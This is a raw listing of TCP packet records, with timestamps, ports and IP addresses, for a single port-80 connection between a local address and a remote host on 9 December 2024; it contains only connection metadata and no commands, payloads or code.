Dec 9, 2024 18:20:52.531095028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.531145096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.531419992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.531467915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.531922102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.531934023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.531985044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.532912016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.532922983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.532968044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.533663988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.533675909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.533716917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.533725977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.534043074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.534094095 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.534215927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.534261942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.534459114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.534506083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.534673929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.534720898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.535149097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.535161018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.535204887 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.535998106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.536051989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.536222935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.536272049 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.536999941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.537012100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.537048101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.537065983 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.537446022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.537457943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.537508965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.538161039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.538172007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.538208008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.538227081 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.538805008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.538815975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.538857937 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.539222002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.539268970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.539340973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.539390087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.539963007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.540009975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.540191889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.540239096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.540867090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.540883064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.540918112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.541378975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.541390896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.541424036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.542037010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.542087078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.542519093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.542567968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.542690992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.542701960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.542738914 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.542748928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.543603897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.543617010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.543658018 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.544920921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.544933081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.544981003 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.545166016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.545176029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.545209885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.545231104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.545588017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.545598984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.545644999 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.546060085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.546107054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.546336889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.546382904 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.546545982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.546592951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.546880960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.546932936 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.547359943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.547409058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.547568083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.547616005 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.548199892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.548252106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.548343897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.548391104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.548939943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.548990965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.549233913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.549283028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.550192118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.550213099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.550254107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.550597906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.550647020 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.550823927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.550873995 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.551578999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.551590919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.551630020 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.551961899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.552007914 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.552229881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.552279949 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.552881002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.552936077 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.553054094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.553091049 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.553606033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.553620100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.553657055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.553675890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.553961039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.554008961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.554614067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.554626942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.554668903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.554771900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.554820061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.555350065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.555361032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.555406094 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.555994987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.556049109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.556274891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.556319952 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.556479931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.556490898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.556533098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.557190895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.557202101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.557248116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.557672977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.557682991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.557718992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.558128119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.558181047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.558202982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.558244944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.558778048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.558789968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.558825016 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.559566021 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.559576988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.559623003 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.559928894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.559978962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.560405016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.560453892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.560525894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.560537100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.560570955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.561075926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.561125994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.561256886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.561305046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.561829090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.561851025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.561878920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.561892033 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.563452005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.563465118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.563503981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.563695908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.563741922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.563931942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.563981056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.564022064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.564069986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.564177990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.564223051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.564567089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.564613104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.722353935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.722417116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.722486019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.722532988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.722661972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.722673893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.722712040 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.723187923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.723239899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.723304033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.723352909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.723824024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.723834991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.723889112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.724401951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.724467993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.725107908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.725152016 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.725245953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.725296021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.725627899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.725675106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.725889921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.725907087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.725948095 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.726788998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.726803064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.726844072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.727482080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.727530956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.727853060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.727902889 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.728231907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.728245020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.728276968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.728295088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.728539944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.728555918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.728588104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.728601933 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.729051113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.729094028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.729202032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.729249001 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.729809046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.729854107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.730158091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.730211973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.730422974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.730434895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.730473042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.731168985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.731179953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.731223106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.731707096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.731750011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.731887102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.731935978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.732502937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.732516050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.732553959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.733103037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.733151913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.733299971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.733349085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.733751059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.733798027 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.733922958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.733968019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.734582901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.734595060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.734633923 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.735141993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.735191107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.735517025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.735560894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.735913038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.735924006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.735960960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.736736059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.736747980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.736790895 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.737418890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.737431049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.737472057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.737979889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.738051891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.738209963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.738255024 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.738801956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.738851070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.738960028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.739005089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.739300013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.739310980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.739343882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.739365101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.739924908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.739988089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.740582943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.740643978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.740751982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.740762949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.740801096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.740817070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.741466045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.741581917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.741631985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.741796017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.742291927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.742352009 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.742506981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.742563009 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.743038893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.743099928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.743213892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.743266106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.743952990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.743963957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.744016886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.744363070 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.744419098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.744652033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.744704962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.744874954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.744893074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.744950056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.744950056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.745729923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.745747089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.745779037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.745790005 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.746351957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.746408939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.746488094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.746539116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.747009039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.747019053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.747068882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.747736931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.747749090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.747805119 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.748174906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.748234034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.748274088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.748332024 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.748888016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.748963118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.748986006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.749043941 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.749310017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.749351025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.749520063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.749572992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.749984026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.750030041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.750119925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.750157118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.750575066 CET	80	49828	185.215.113.16	192.168.2.6
